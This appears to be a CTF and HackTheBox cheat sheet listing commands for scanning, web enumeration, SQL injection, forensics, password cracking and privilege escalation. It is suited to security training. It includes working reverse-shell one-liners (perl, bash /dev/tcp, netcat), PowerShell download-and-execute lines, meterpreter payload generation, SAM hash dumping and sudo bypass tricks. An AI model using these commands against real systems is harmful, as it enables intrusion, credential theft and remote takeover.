A currated list of all capture the flag tips and strategies to solve Online CTF challenges and Hackthebox Machines.
- System Hacking
- Web Hacking
- File Hacking
- Cryptography
- Forensics
- Password Cracking
- Privilige Escalation
To scan for systems and Open Services/Ports, Use Nmap.
> $ nmap -sV <HOST_IP>
To scan for Vulnerabilities on system.
> $ nmap --script vuln <HOST_IP>
To scan for all ports, SYN Scan and OS detection.
> $ nmap -sS -T4 -A -p- <HOST_IP>
To scan using inbuilt nmap scripts.
> $ nmap --script ssl-enum-ciphers -p 443 <HOST_IP>
To passively discover machines on the network, Use Netdiscover.
> $ netdiscover -i <INTERFACE>
Currently scanning: 192.168.17.0/16 | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 8 hosts. Total size: 480 _____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.1 11:22:33:44:55:66 1 60 NETGEAR
192.168.1.2 21:22:33:44:55:66 1 60 Apple, Inc.
192.168.1.8 41:22:33:44:55:66 1 60 Intel Corporate
To scan for vulnerabilities use Nikto.
> $ nikto -h <HOST_IP>
If Port 80 or 443 is open, we can look for robots.txt to check for hidden flags or clues.
To find the Webserver version, Use Curl tool with I flag.
> $ curl -I <SERVER_IP>
HTTP/1.1 200 OK
Date: Mon, 11 May 2020 05:18:21
Server: gws
Last-Modified: Mon, 11 May 2020 05:18:21
Content-Length: 4171
Content-Type: text/html
Connection: Closed
If Port 80 is Closed and its the only port opened on the machine, it can be due to presence of IDS or Port knocking.
- We can give a timeout and try scanning after sometime to check if the port is still closed.
- To check if Port is Open without knocking on IDS using TCP Scan instead of SYN Scan.
> $ nmap -p 80 <SERVER_IP> -sT
Starting Nmap 7.80 ( https://nmap.org )
Nmap scan report for 10.10.10.168
Host is up (0.038s latency).
PORT STATE SERVICE
80/tcp closed http
Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
To enumerate directories on a webserver, Use wfuzz.
> $ wfuzz -u http://<SERVER_IP>/FUZZ/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://<SERVER_IP>/FUZZ/
> $ cewl -w wordlist.txt -d 10 -m 1 http://<SERVER_IP>/
$ wc wordlist.txt
354 354 2459 wordlist.txt
If SMB has misconfigured anonymous login, Use smbclient to list shares.
> $ smbclient -L \\\\<HOST_IP>
If SMB Ports are open, we can look for anonymous login to mount misconfigured shares.
> $ mkdir /mnt/smb
> $ mount -t cifs //<REMOTE_SMB_IP>/<SHARE> /mnt/smb/
Password for root@//<HOST_IP>/<SHARE>:
If we found Administrator Credentials for SMB, Access the root shell using this method.
> $ /opt/impacket/examples# smbmap -u administrator -p password -H <HOST_IP>
[+] Finding open SMB ports....
[+] User SMB session establishd on <HOST_IP>...
[+] IP: <HOST_IP>:445 Name: <HOST_IP>
Disk Permissions
---- -----------
ADMIN$ READ, WRITE
Backups READ, WRITE
C$ READ, WRITE
IPC$ READ ONLY
> $ /opt/impacket/examples# python psexec.py administrator@<HOST_IP>
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
Password:
[*] Requesting shares on <HOST_IP>.....
[*] Found writable share ADMIN$
[*] Uploading file tJJmcVQN.exe
[*] Opening SVCManager on <HOST_IP>.....
[*] Creating service RKAe on <HOST_IP>....
[*] Starting service RKAe.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
> $ 7z l <FILENAME>.vhd
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i5-5200U CPU @ 2.20GHz (306D4),ASM,AES-NI)
Scanning the drive for archives:
1 file, 5418299392 bytes (5168 MiB)
Listing archive: <FILENAME>.vhd
> $ guestmount --add <VHD_NAME>.vhd --inspector -ro -v /mnt/vhd
> $ searchsploit apache 1.2.4
If /wp-login.php is found in the Enumeration scanning, it can be Wordpress site.
To crack the login credentials for Wordpress, Use Hydra. We can use Burpsuite to capture the request parameters
> $ hydra -V -l wordlist.dic -p 123 <HOST_IP> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid Username
To scan Wordpress site for Vulnerabilities.
> $ gem install wpscan
> $ wpscan --url <HOST_IP> --usernames <USERNAME_FOUND> --passwords wordlist.dic
To get a reverse shell using Admin Upload.
> $ msfconsole
> $ use exploit/unix/webapp/wp_admin_shell_upload
If RPC is open, we can login using rpclient.
> $ rpcclient -U "" <HOST_IP>
To bypass execution policy
> $ powershell.exe -exec bypass
username[$ne]=help&password[$ne]=help&login=login
* Reconnaissance
* Scanning and Enumeration
* Gaining Access
* Maintaining Access
* Covering Tracks
- Whois, Nslookup, Dnsrecon, Google Fu, Dig - To passively enumerate website.
- Sublist3r - Subdomains enumeration tool.
- crt.sh - Certificate enumeration tool.
- Hunter.io - Email enumeration tool.
- Nmap, Wappalyzer, Whatweb, Builtwith, Netcat - Fingerprinting tools.
- HaveIbeenPwned - Useful for breach enumeraton.
- Use SecurityHeaders to find some misconfigured header information on target website.
- Use Zap Proxy tool to extract hidden files/directories.
- Clear Text Passwords Link
To gather information from online sources.
> $ theharvester -d microsoft.com -l 200 -g -b google
Ping Sweep a network.
> $ nmap -sn <NETWORK>
SYN Scan with Speed of 4 and port of common 1000 TCP.
> $ nmap -T4 <NETWORK>
All Port scan with All Scanning including OS, Version, Script and Traceroute.
> $ nmap -T4 -A -p- <NETWORK>
To scan for UDP Ports (Dont scan all scans, as it takes lot of time).
> $ nmap -sU -T4 <NETWORK>
Non Staged Payload Example.
windows/meterpreter_reverse_tcp
Staged Payload Example.
windows/meterpreter/reverse_tcp
To use bind shell, we have to follow two steps: 1, Create a Bind Shell 2,Listen for connection.
> $ nc <ATTACKER_IP> <ATTACKET_PORT>`
> $ nc -lvp <ATTACKER_PORT>
If website is launching perl reverse shell, we can modify it to get better shell using Bash oneliner.
> $ perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"<HOST_IP>:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};' 2>&1
> $ bash -c 'bash -i &> /dev/tcp/<HOST_IP>/9001 0>&1'
To generate shellcode quickly, we can use python pwn library.
> $ python -c "import pwn;print(pwn.asm(pwn.shellcraft.linux.sh))
> $ (python -c "import pwn;print(pwn.asm(pwn.shellcraft.linux.sh()))" ;cat) | ./vuln
Normal Enumeration.
> $ gobuster dir -u http://<IP_ADDRESS> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
With Cookie (Useful to directory traversal when cookie is needed).
> $ gobuster dir -u http://<IP_ADDRESS> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -c PHPSESSID=<COOKIE_VALUE>
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://<IP_ADDRESS>
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] Cookies: <COOKIE_VALUE>
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2020/04/19 01:43:01 Starting gobuster
===============================================================
/home.php (Status: 302)
/index.php (Status: 200)
Redirect the HTTP Request to Burpsuite and we can see the request like this.
POST / HTTP/1.1
Host: <IP_ADDRESS>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://<IP_ADDRESS>/
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Connection: close
Upgrade-Insecure-Requests: 1
search=help
Now Right click and click on copy to file option.
> $ sqlmap -r search.req --batch --force-ssl
___
__H__
___ ___[,]_____ ___ ___ {1.4.3#stable}
|_ -| . ["] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 01:25:16 /2020-04-19/
[01:25:16] [INFO] parsing HTTP request from 'search.req'
[01:25:17] [INFO] testing connection to the target URL
[01:25:17] [INFO] checking if the target is protected by some kind of WAF/IPS
[01:25:17] [INFO] testing if the target URL content is stable
[01:25:18] [INFO] target URL content is stable
[01:25:18] [INFO] testing if POST parameter 'search' is dynamic
[01:25:18] [WARNING] POST parameter 'search' does not appear to be dynamic
[01:25:18] [WARNING] heuristic (basic) test shows that POST parameter 'search' might not be injectable
[01:25:19] [INFO] testing for SQL injection on POST parameter 'search'
[01:25:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:25:20] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[01:25:21] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:25:22] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
Extract hidden text from PDF Files
If something is hidden on a pdf which we need to find, we can Press Ctrl + A to copy everything on the pdf and paste on notepad.
If nothing is found, we can use Inkspace tool to paste the pdf and try to ungroup several times to extract any hidden flag.
Else solve using pdf-uncompress tools like qpdf to convert compressed data to redeable format.
If there is PK at the start of the file in the magic bytes, its most probably ZIP File.
To extract data from recursive zip file.
> $ binwalk -Me <FILE_NAME>
Extract hidden strings
If file is having some hidden text, we can use hexeditor or strings commands to locate the flag.
If hidden text has == at the end, it is base64 encoded.
To monitor the appplication calls of a binary.
> $ strace -s -f 12345 -e trace=recv,read <PROGRAM>
To track all Application & library calls of a program.
> $ ltrace ./<PROG_NAME>
If there is word caesar in the question or hint, it can be a substitution cipher.
If you find ! in the cipher text and cipher seems to be within certain range of Letters and appears to be transposition of a plain text, Use this website Ceasar Box to Bruteforce the hidden message.
To break Vigenere ciphers without knowing the key.
- Use this website Link - Bruteforce solver.
To solve One Time Pad, Use OTP.
> $ /usr/share/john/ssh2john.py id_rsa > output.hash
Try file comamnd on the image to learn more information.
To extract data inside Image files.
> $ zsteg <FILE_NAME>
To check for metadata of the Image files.
> $ exiftool <FILE_NAME>
To search for particular string or flag in an Image file.
> $ strings <FILE_NAME> | grep flag{
To extract data hidden inside an image file protected with password.
> $ steghide extract -sf <FILE_NAME>
Binwalk helps to find data inside the image or sometimes if binwalk reports as zip Archive, we can rename the file to <FILE_NAME>.zip to find interesting data.
> $ binwalk <IMAGE_NAME>
If there is ntfs file, extract with 7Zip on Windowds.
If there is a file with alternative data strems, we can use the command `dir /R <FILE_NAME>`.
Then we can this command to extract data inside it `cat <HIDDEN_STREAM> > asdf.<FILE_TYPE>`
To extract ntfs file system on Linux.
> $ sudo mount -o loop <FILENAME.ntfs> mnt
To Recover Files from Deleted File Systems from Remote Hosts.
> $ ssh username@remote_address "sudo dcfldd -if=/dev/sdb | gzip -1 ." | dcfldd of=extract.dd.gz
> $ gunzip -d extract.dd.gz
> $ binwalk -Me extract.dd
If usb keys are mapped with pcap, we can use this Article to extract usb keys entered: Link
> $ tskark.exe -r <FILE_NAME.pcapng> -Y "usb.transfer_types==1" -e "frame.time.epoch" -e "usb.capdata" -Tfields
To Deobfuscate JavaScript, use Jsnice.
If there is JOHN in the title or text or hint, its mostly reference to JOHN the ripper for bruteforce passwords/hashes.
> $ john <HASHES_FILE> --wordlist=/usr/share/wordlists/rockyou.txt
To crack well known hashes, use Link
To get System User Hashes, we can follow this method.
> $ /mnt/vhd/Windows/System32/config# cp SAM SYSTEM ~/CTF/
> $ /mnt/vhd/Windows/System32/config# cd ~/CTF/
> ~/CTF# ls
SAM SYSTEM
> ~/CTF# mkdir Backup_dump
> ~/CTF# mv SAM SYSTEM Backup_dump/
> ~/CTF# cd Backup_dump/
> ~/CTF/Backup_dump# ls
SAM SYSTEM
> ~/CTF/Backup_dump# impacket-secretsdump -sam SAM -system SYSTEM local
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
User:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Cleaning up...
If we able to extract /etc/passwd and /etc/shadow file we can use unshadow
> $ unshadow <PASSWD> <SHADOW>
To crack the password, we can use hashcat here 500 is for format $1$ Replace it accordingly.
> $ hashcat -m 500 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt --force
To extract 7z password, Use tool 7z2john
To crack encrypted ssh key use ssh2john tool.
- Linux Priv Checker - Linux Privilige Enumeration Checker.
- Awesome Priv
- Lin Enum Script
- Unix Priv Check
- Pspy - Information on cronjobs, proceses on target system.
- JAWS - Windows Enumeration Script.
- Cyberchef - A web app for encryption, encoding, compression and data analysis.
- Pspy - Gather information on cron, proceses.
- Gtfobins - If we dont exactly remember how to use a given setuid command to get Privliges.
On older linux kernals, we can gain root access using dirtycow exploit.
To Use DirtyCow : Link - Maybe more specifically : Dirty.c
To check what sudo command can the current user run with no-password.
> $ sudo -l
Examples:
> $ sudo -l
User www-data may run the following commands on bashed:
(enemy : enemy) NOPASSWD: ALL
We can try like below
> $ sudo -u enemy /bin/bash
id
uid=1001(enemy) gid=1001(enemy) groups=1001(enemy)
> $ sudo -l
[sudo] password for username:
Matching Defaults entries for username on Victim:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User username may run the following commands on Victim:
(ALL : ALL) ALL
> $ cat /root/root.txt
cat: /root/root.txt: Permission denied - Does not work
> $ sudo cat /root/root.txt - Work
user@host:~$ sudo -l
sudo -l
Matching Defaults entries for user on host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on host:
(ALL, !root) /bin/bash
user@host:~$ sudo -u#-1 /bin/bash
sudo -u#-1 /bin/bash
Password: Password
Sorry, try again.
Password: <Enter Password>
root@host:/home/user# id
id
uid=0(root) gid=1001(user) groups=1001(user)
- In meterpreter shell try
getsystem - In meterpreter shell try
backgroundand then follow rest of commands. - search suggester
> use post/multi/recon/local_exploit_suggestor
show options
set session 1
run
- If worked fine, else Try follow rest of commands.
- Use this link: FuzzySec Win Priv Exec
- Use this method: Sherlock
- If current process doesnt own Privs, use
migrate <PID>to get more Priviliges in Meterpretor.
To get Shell on Windows use Unicorn
> $ /opt/unicorn/unicorn.py windows/meterpreter/reverse_tcp <HOST_IP> 3333
[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode...
> $ msfconsole -r unicorn.rc
[*] Started reverse TCP handler on <HOST_IP>:3333
msf5 exploit(multi/handler) >
To get Shell from MYSQL
mysql> \! /bin/sh
To get Shell from VIM.
Method-1:
> $ sudo /usr/bin/vi /var/www/html/../../../root/root.txt
Method-2:
> $ sudo /usr/bin/vi /var/www/html/anyrandomFile
Type Escape and enter :!/bin/bash
If some system cron is getting some url present in the file, we can replace url to get flag as below.
> $ cat input
url = "file:///root/root.txt"
To monitor cronjobs, we can tail the syslogs.
> $ tail -f /var/log/syslog
Nov 18 23:55:01 sun CRON[5327]: (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py)
Nov 19 00:00:01 sun CRON[5626]: (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py)
Nov 19 00:00:01 sun CRON[5627]: (sun) CMD (nodejs /home/sun/server.js >/dev/null 2>&1)
Nov 19 00:05:01 sun CRON[5701]: (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py)
- If any file we found in low priv user and it contains something like this, we can execute it and minimize the size of terminal to enter the visual mode to gain root access.
> $ cat new.sh
#!/bin/bash
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
> $ sh new.sh
-- Logs begin at Sun 2019-11-17 19:19:25 EST, end at Mon 2019-11-18 17:13:44 EST. --
Nov 18 17:02:26 kali sudo[11538]: pam_unix(sudo:auth): authentication failure; logname= uid=33 eu
Nov 18 17:02:29 kali sudo[11538]: pam_unix(sudo:auth): conversation failed
Nov 18 17:02:29 kali sudo[11538]: pam_unix(sudo:auth): auth could not identify password for [www-
Nov 18 17:02:29 kali sudo[11538]: www-data : command not allowed ; TTY=unknown ; PWD=/tmp ; USER=
Nov 18 17:02:29 kali crontab[11595]: (www-data) LIST (www-data)
!/bin/bash
root #
To get the better Shell after taking control of the system.
www-data@machine:/var/www/html$ python3 -c "import pty;pty.spawn('/bin/bash')"
<html$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@machine:/var/www/html$ ^Z
[1]+ Stopped nc -nlvp 443
root@kali:# stty raw -echo
----------------------Here we need to type `fg` and press Enter `Twice`
root@kali:# nc -nlvp 443
www-data@machine:/var/www/html$ export TERM=xterm
- Use
python -m SimpleHTTPServerin the host folder. - Use Apache and put files in
/var/www/html/folder. - If Tomcat is Opened, upload the file/payload using the Admin panel.
- If wordpress is running, upload the file as plugin.
- In Windows Victim, use
certutil -urlcache -f http://<HOST_IP>/<FILE_NAME> <OUTPUT_FILE_NAME> - In Windows, Using Powershell:
PS C:\Users\User\Desktop> IEX(New-Object Net.WebClient).downloadString('http://<HOST_IP>:8000/jaws-enum.ps1')
If we were able to access FTP, we can upload SSH Key to login without password.
> $ ftp <HOST_IP>
Connected to <HOST_IP>.
220 ProFTPD 1.3.5a Server (Debian) [::ffff:<HOST_IP>]
Name (<HOST_IP>:root): notch
331 Password required for notch
Password:
230 User notch logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put id_rsa.pub
ftp> rename id_rsa.pub authorized_keys
Security tool for multithreaded information gathering and service enumeration whilst building directory structures to store results, along with writing out recommendations for further testing.
> $ reconnoitre -t 10.10.10.37 -o `pwd` --services`
